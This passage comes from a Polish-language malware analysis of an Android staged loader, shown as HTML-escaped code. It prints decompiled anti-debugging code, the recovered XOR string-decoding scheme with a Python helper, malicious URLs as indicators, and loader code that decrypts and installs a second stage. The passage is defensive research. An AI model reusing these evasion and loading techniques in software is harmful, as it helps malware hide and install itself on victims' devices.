                    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lVar4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;getjarPath&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;()Ljava/lang/String;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;lVar5&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lVar4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FUN_0021ecd0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lVar4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lVar5&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;lVar4&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x548&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lVar4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
     &lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;getjarPath error&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;LAB_00222d67&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;DAT_002d2ef8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strdup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x550&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lVar4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;oraz sprawdza &lt;code&gt;/proc/self/maps&lt;/code&gt; pod kątem obecności &lt;code&gt;libjdwp.so&lt;/code&gt;, co wyraźnie wskazuje na obecność mechanizmu utrudniającego debugowanie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;pFVar7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local_448&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;r&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pFVar7&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;FILE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fgets&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_438&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;pFVar7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;uVar9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;uVar9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strrchr&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_438&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x2f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;pcVar8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strrchr&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_438&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcVar8&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pcVar8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;iVar3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;libjdwp.so&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iVar3&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strchr&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_438&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x2d&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
          &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="n"&gt;uVar9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strtoull&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_438&lt;/span&gt;&lt;span class="p"&gt;,(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
          &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fgets&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_438&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;pFVar7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pFVar7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uVar9&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Takie zachowanie natywnej warstwy zgadza się z pozostałymi obserwacjami z próbki:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;dekodowaniem ukrytych stringów,&lt;/li&gt;
&lt;li&gt;obsługą ścieżek runtime,&lt;/li&gt;
&lt;li&gt;mechanizm utrudniający debugowanie,&lt;/li&gt;
&lt;li&gt;mechanizmami wykrywania Fridy i emulatora, widocznymi w odszyfrowanych stringach natywnych.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Odzyskana semantyka natywnego dekodera&lt;/h4&gt;
&lt;p&gt;Kod Java zewnętrznej warstwy jest wypełniony wywołaniami w rodzaju:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;webView5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addJavascriptInterface&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pemuhehControllerj5b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Qv371914071D2418&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;webView6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po analizie natywnego dekodera uzyskaliśmy następującą semantykę:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;pierwszy znak jest ignorowany,&lt;/li&gt;
&lt;li&gt;drugi znak pełni rolę jednobajtowego klucza XOR,&lt;/li&gt;
&lt;li&gt;pozostała część ciągu jest traktowana jako zapis szesnastkowy,&lt;/li&gt;
&lt;li&gt;dla bajtu na pozycji &lt;code&gt;i&lt;/code&gt; wykonywane jest &lt;code&gt;((byte - i) &amp;amp; 0xff) ^ key&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Ten dekoder pozwala odzyskać kluczowe wskaźniki zewnętrznego etapu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;io.cifnzm.utility67pu&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://aplication.digital/receiving/stats/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;file:///android_asset/gfjdkqdca.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://booking.interaction.lat/update/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To moment, w którym zewnętrzny APK przestaje wyglądać jak zwykła fałszywa aplikacja, a zaczyna wyglądać jak rzeczywisty staged loader.&lt;/p&gt;
&lt;p&gt;Aby ten etap był reprodukowalny, przygotowaliśmy prosty helper implementujący odzyskany natywny algorytm dekodowania:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decode_native&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
    &lt;span class="n"&gt;raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;replace&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Za pomocą tego helpera zaszyte wartości wykorzystywane przez loader można dekodować w sposób deterministyczny:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3 decode_native_strings.py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;Qv371914071D2418&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Qv371914071D2418 =&amp;gt; Android
oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30 =&amp;gt; file:///android_asset/gfjdkqdca.html
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Właśnie w ten sposób powstał zestaw odszyfrowanych stałych używanych w dalszej części analizy.&lt;/p&gt;
&lt;h4&gt;Etap 2: odszyfrowanie kolejnego pakietu przy użyciu XOR i przekazanie do &lt;code&gt;PackageInstaller&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Kolejny etap jest przechowywany jako:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;res/raw/init_bundle_uzge.bin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ten punkt jest istotny, ponieważ 32-bajtowy klucz XOR nie jest zapisany w kodzie Java jako jawna stała. Zamiast tego kod Java przekazuje obfuskowany ciąg znaków do natywnego dekodera opartego na JNI, otrzymuje w odpowiedzi 64-znakową wartość szesnastkową, zamienia ją na 32
bajty i dopiero wtedy wykorzystuje je do odszyfrowania &lt;code&gt;init_bundle_uzge.bin&lt;/code&gt;. Oznacza to, że materiał kluczowy odzyskiwany jest przez natywną ścieżkę dekodowania, natomiast samo odszyfrowanie pliku etapu 2 metodą XOR odbywa się już w Javie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;F&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strF0a0cac5c_11&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Z@2674747727782B7D2C7A7B7C7D2E338287338336888D38893A3F923C418E934194469A499D9E484D9F999AA4A0A1A0A055AAA7A8A95B59ACAE5DACB462AD5FB7&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Character&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strF0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;charAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Character&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strF0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;charAt&lt;/span&gt;&lt;span 